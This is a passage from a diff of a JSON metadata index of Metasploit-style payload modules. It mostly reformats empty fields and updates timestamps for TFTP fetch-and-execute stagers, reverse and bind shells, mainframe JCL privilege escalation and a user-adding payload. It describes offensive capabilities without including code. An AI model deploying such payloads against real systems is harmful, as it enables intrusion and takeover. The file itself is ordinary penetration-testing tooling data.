"payload/cmd/linux/tftp/x86/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211550,9 +215562,7 @@ "OJ Reeves" ], "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for a connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -211566,8 +215576,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211580,9 +215589,7 @@ "payload_cmd/linux/tftp/x86/meterpreter/find_tag": { "name": "TFTP Fetch, Find Tag Stager", "fullname": "payload/cmd/linux/tftp/x86/meterpreter/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211593,9 +215600,7 @@ "skape " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -211609,8 +215614,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211623,9 +215627,7 @@ "payload_cmd/linux/tftp/x86/meterpreter/reverse_ipv6_tcp": { "name": "TFTP Fetch, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/linux/tftp/x86/meterpreter/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211636,9 +215638,7 @@ "kris katterjohn " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nConnect back to attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -211652,8 +215652,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211666,9 +215665,7 @@ "payload_cmd/linux/tftp/x86/meterpreter/reverse_nonx_tcp": { "name": "TFTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/x86/meterpreter/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211679,9 +215676,7 @@ "skape " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -211695,8 +215690,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211709,9 +215703,7 @@ "payload_cmd/linux/tftp/x86/meterpreter/reverse_tcp": { "name": "TFTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/x86/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211724,9 +215716,7 @@ "tkmru" ], "description": "Fetch and execute a x86 payload from a TFTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -211740,8 +215730,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211754,9 +215743,7 @@ "payload_cmd/linux/tftp/x86/meterpreter/reverse_tcp_uuid": { "name": "TFTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/x86/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211769,9 +215756,7 @@ "OJ Reeves" ], "description": "Fetch and execute a x86 payload from a TFTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -211785,8 +215770,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211799,9 +215783,7 @@ "payload_cmd/linux/tftp/x86/meterpreter_reverse_http": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/x86/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211813,9 +215795,7 @@ "timwr" ], "description": "Fetch and execute a x86 payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -211829,8 +215809,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211841,9 +215820,7 @@ "payload_cmd/linux/tftp/x86/meterpreter_reverse_https": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/x86/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211855,9 +215832,7 @@ "timwr" ], "description": "Fetch and execute a x86 payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -211871,8 +215846,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211883,9 +215857,7 @@ "payload_cmd/linux/tftp/x86/meterpreter_reverse_tcp": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/x86/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211897,9 +215869,7 @@ "timwr" ], "description": "Fetch and execute a x86 payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -211913,8 +215883,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211925,9 +215894,7 @@ "payload_cmd/linux/tftp/x86/metsvc_bind_tcp": { "name": "TFTP Fetch, Linux Meterpreter Service, Bind TCP", "fullname": "payload/cmd/linux/tftp/x86/metsvc_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211937,9 +215904,7 @@ "hdm " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nStub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -211953,8 +215918,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211965,9 +215929,7 @@ "payload_cmd/linux/tftp/x86/metsvc_reverse_tcp": { "name": "TFTP Fetch, Linux Meterpreter Service, Reverse TCP Inline", "fullname": "payload/cmd/linux/tftp/x86/metsvc_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211977,9 +215939,7 @@ "hdm " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nStub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -211993,8 +215953,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212005,9 +215964,7 @@ "payload_cmd/linux/tftp/x86/read_file": { "name": "TFTP Fetch, Linux Read File", "fullname": "payload/cmd/linux/tftp/x86/read_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212017,9 +215974,7 @@ "hal" ], "description": "Fetch and execute a x86 payload from a TFTP server.\nRead up to 4096 bytes from the local file system and write it back out to the specified file descriptor", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212033,8 +215988,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212045,9 +215999,7 @@ "payload_cmd/linux/tftp/x86/shell/bind_ipv6_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)", "fullname": "payload/cmd/linux/tftp/x86/shell/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212059,9 +216011,7 @@ "egypt " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nListen for an IPv6 connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212075,8 +216025,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212089,9 +216038,7 @@ "payload_cmd/linux/tftp/x86/shell/bind_ipv6_tcp_uuid": { "name": "TFTP Fetch, Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)", "fullname": "payload/cmd/linux/tftp/x86/shell/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212104,9 +216051,7 @@ "OJ Reeves" ], "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nListen for an IPv6 connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212120,8 +216065,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212134,9 +216078,7 @@ "payload_cmd/linux/tftp/x86/shell/bind_nonx_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Stager", "fullname": "payload/cmd/linux/tftp/x86/shell/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212146,9 +216088,7 @@ "skape " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212162,8 +216102,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212176,9 +216115,7 @@ "payload_cmd/linux/tftp/x86/shell/bind_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Stager (Linux x86)", "fullname": "payload/cmd/linux/tftp/x86/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212189,9 +216126,7 @@ "egypt " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nListen for a connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212205,8 +216140,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212219,9 +216153,7 @@ "payload_cmd/linux/tftp/x86/shell/bind_tcp_uuid": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)", "fullname": "payload/cmd/linux/tftp/x86/shell/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212233,9 +216165,7 @@ "OJ Reeves" ], "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nListen for a connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212249,8 +216179,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212263,9 +216192,7 @@ "payload_cmd/linux/tftp/x86/shell/find_tag": { "name": "TFTP Fetch, Linux Command Shell, Find Tag Stager", "fullname": "payload/cmd/linux/tftp/x86/shell/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212275,9 +216202,7 @@ "skape " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212291,8 +216216,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212305,9 +216229,7 @@ "payload_cmd/linux/tftp/x86/shell/reverse_ipv6_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/linux/tftp/x86/shell/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212318,9 +216240,7 @@ "kris katterjohn " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212334,8 +216254,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212348,9 +216267,7 @@ "payload_cmd/linux/tftp/x86/shell/reverse_nonx_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/x86/shell/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212360,9 +216277,7 @@ "skape " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212376,8 +216291,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212390,9 +216304,7 @@ "payload_cmd/linux/tftp/x86/shell/reverse_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/x86/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212404,9 +216316,7 @@ "tkmru" ], "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212420,8 +216330,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212434,9 +216343,7 @@ "payload_cmd/linux/tftp/x86/shell/reverse_tcp_uuid": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/x86/shell/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212448,9 +216355,7 @@ "OJ Reeves" ], "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212464,8 +216369,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212478,9 +216382,7 @@ "payload_cmd/linux/tftp/x86/shell_bind_ipv6_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Inline (IPv6)", "fullname": "payload/cmd/linux/tftp/x86/shell_bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212490,9 +216392,7 @@ "kris katterjohn " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for a connection over IPv6 and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212506,8 +216406,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212518,9 +216417,7 @@ "payload_cmd/linux/tftp/x86/shell_bind_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/tftp/x86/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212530,9 +216427,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212546,8 +216441,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212558,9 +216452,7 @@ "payload_cmd/linux/tftp/x86/shell_bind_tcp_random_port": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Random Port Inline", "fullname": "payload/cmd/linux/tftp/x86/shell_bind_tcp_random_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212570,7 +216462,7 @@ "Geyslan G. Bem ", "Aleh Boitsau " ], - "description": "Fetch and execute a x86 payload from a TFTP server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", + "description": "Fetch and execute a x86 payload from a TFTP server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", "references": [ "URL-https://github.com/geyslan/SLAE/blob/master/improvements/tiny_shell_bind_tcp_random_port.asm", "EDB-41631" @@ -212588,8 +216480,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212600,9 +216491,7 @@ "payload_cmd/linux/tftp/x86/shell_find_port": { "name": "TFTP Fetch, Linux Command Shell, Find Port Inline", "fullname": "payload/cmd/linux/tftp/x86/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212612,9 +216501,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212628,8 +216515,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212640,9 +216526,7 @@ "payload_cmd/linux/tftp/x86/shell_find_tag": { "name": "TFTP Fetch, Linux Command Shell, Find Tag Inline", "fullname": "payload/cmd/linux/tftp/x86/shell_find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212651,10 +216535,8 @@ "Spencer McIntyre", "skape " ], - "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a shell on an established connection (proxy/nat safe)", - "references": [ - - ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a shell on an established connection (proxy/NAT safe)", + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212668,8 +216550,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212680,9 +216561,7 @@ "payload_cmd/linux/tftp/x86/shell_reverse_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/tftp/x86/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212693,9 +216572,7 @@ "joev " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212709,8 +216586,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212721,9 +216597,7 @@ "payload_cmd/linux/tftp/x86/shell_reverse_tcp_ipv6": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline (IPv6)", "fullname": "payload/cmd/linux/tftp/x86/shell_reverse_tcp_ipv6", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212733,9 +216607,7 @@ "Matteo Malvica " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nConnect back to attacker and spawn a command shell over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212749,8 +216621,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212761,9 +216632,7 @@ "payload_cmd/mainframe/apf_privesc_jcl": { "name": "JCL to Escalate Privileges", "fullname": "payload/cmd/mainframe/apf_privesc_jcl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212771,25 +216640,22 @@ "Bigendian Smalls", "Ayoub" ], - "description": "(Elevate privileges for user. Adds\n SYSTEM SPECIAL and BPX.SUPERUSER to user profile. Does this by using\n an unsecured/updateable APF authorized library (APFLIB) and updating\n the user's ACEE using this program/library. Note: This privesc only\n works with z/OS systems using RACF, no other ESM is supported.)", - "references": [ - - ], + "description": "Elevate privileges for user. Adds\n SYSTEM SPECIAL and BPX.SUPERUSER to user profile. Does this by using\n an unsecured/updateable APF authorized library (APFLIB) and updating\n the user's ACEE using this program/library. Note: This privesc only\n works with z/OS systems using RACF, no other ESM is supported.", + "references": [], "platform": "Mainframe", "arch": "cmd", "rport": 21, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/mainframe/apf_privesc_jcl.rb", "is_install_path": true, "ref_name": "cmd/mainframe/apf_privesc_jcl", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -212798,34 +216664,29 @@ "payload_cmd/mainframe/bind_shell_jcl": { "name": "Z/OS (MVS) Command Shell, Bind TCP", "fullname": "payload/cmd/mainframe/bind_shell_jcl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "Bigendian Smalls" ], - "description": "Provide JCL which creates a bind shell\n This implementation does not include ebcdic character translation,\n so a client with translation capabilities is required. MSF handles\n this automatically.", - "references": [ - - ], + "description": "Provide JCL which creates a bind shell\n This implementation does not include ebcdic character translation,\n so a client with translation capabilities is required. MSF handles\n this automatically.", + "references": [], "platform": "Mainframe", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-07 14:06:31 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/mainframe/bind_shell_jcl.rb", "is_install_path": true, "ref_name": "cmd/mainframe/bind_shell_jcl", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -212834,34 +216695,29 @@ "payload_cmd/mainframe/generic_jcl": { "name": "Generic JCL Test for Mainframe Exploits", "fullname": "payload/cmd/mainframe/generic_jcl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "Bigendian Smalls" ], - "description": "Provide JCL which can be used to submit\n a job to JES2 on z/OS which will exit and return 0. This\n can be used as a template for other JCL based payloads", - "references": [ - - ], + "description": "Provide JCL which can be used to submit\n a job to JES2 on z/OS which will exit and return 0. This\n can be used as a template for other JCL based payloads", + "references": [], "platform": "Mainframe", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/mainframe/generic_jcl.rb", "is_install_path": true, "ref_name": "cmd/mainframe/generic_jcl", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -212870,34 +216726,29 @@ "payload_cmd/mainframe/reverse_shell_jcl": { "name": "Z/OS (MVS) Command Shell, Reverse TCP", "fullname": "payload/cmd/mainframe/reverse_shell_jcl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "Bigendian Smalls" ], - "description": "Provide JCL which creates a reverse shell\n This implementation does not include ebcdic character translation,\n so a client with translation capabilities is required. MSF handles\n this automatically.", - "references": [ - - ], + "description": "Provide JCL which creates a reverse shell\n This implementation does not include ebcdic character translation,\n so a client with translation capabilities is required. MSF handles\n this automatically.", + "references": [], "platform": "Mainframe", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb", "is_install_path": true, "ref_name": "cmd/mainframe/reverse_shell_jcl", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -212906,9 +216757,7 @@ "payload_cmd/unix/adduser": { "name": "Add user with useradd", "fullname": "payload/cmd/unix/adduser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212916,9 +216765,7 @@ "Nick Cottrell " ], "description": "Creates a new user. By default the new user is set with sudo\n but other options exist to make the new user automatically\n root but this is not automatically set since the new user will\n be treated as root (and login may be difficult). The new user\n can also be set as just a standard user if desired.", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -212932,8 +216779,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -212942,9 +216788,7 @@ "payload_cmd/unix/bind_awk": { "name": "Unix Command Shell, Bind TCP (via AWK)", "fullname": "payload/cmd/unix/bind_awk", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212953,24 +216797,21 @@ "Ulisses Castro " ], "description": "Listen for a connection and spawn a command shell via GNU AWK", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_awk.rb", "is_install_path": true, "ref_name": "cmd/unix/bind_awk", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -212979,9 +216820,7 @@ "payload_cmd/unix/bind_aws_instance_connect": { "name": "Unix SSH Shell, Bind Instance Connect (via AWS API)", "fullname": "payload/cmd/unix/bind_aws_instance_connect", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213005,8 +216844,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213015,9 +216853,7 @@ "payload_cmd/unix/bind_busybox_telnetd": { "name": "Unix Command Shell, Bind TCP (via BusyBox telnetd)", "fullname": "payload/cmd/unix/bind_busybox_telnetd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213025,24 +216861,21 @@ "Matthew Kienow " ], "description": "Listen for a connection and spawn a command shell via BusyBox telnetd", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_busybox_telnetd.rb", "is_install_path": true, "ref_name": "cmd/unix/bind_busybox_telnetd", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213051,9 +216884,7 @@ "payload_cmd/unix/bind_inetd": { "name": "Unix Command Shell, Bind TCP (inetd)", "fullname": "payload/cmd/unix/bind_inetd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213061,24 +216892,21 @@ "hdm " ], "description": "Listen for a connection and spawn a command shell (persistent)", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_inetd.rb", "is_install_path": true, "ref_name": "cmd/unix/bind_inetd", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213087,9 +216915,7 @@ "payload_cmd/unix/bind_jjs": { "name": "Unix Command Shell, Bind TCP (via jjs)", "fullname": "payload/cmd/unix/bind_jjs", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213109,15 +216935,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_jjs.rb", "is_install_path": true, "ref_name": "cmd/unix/bind_jjs", "check": 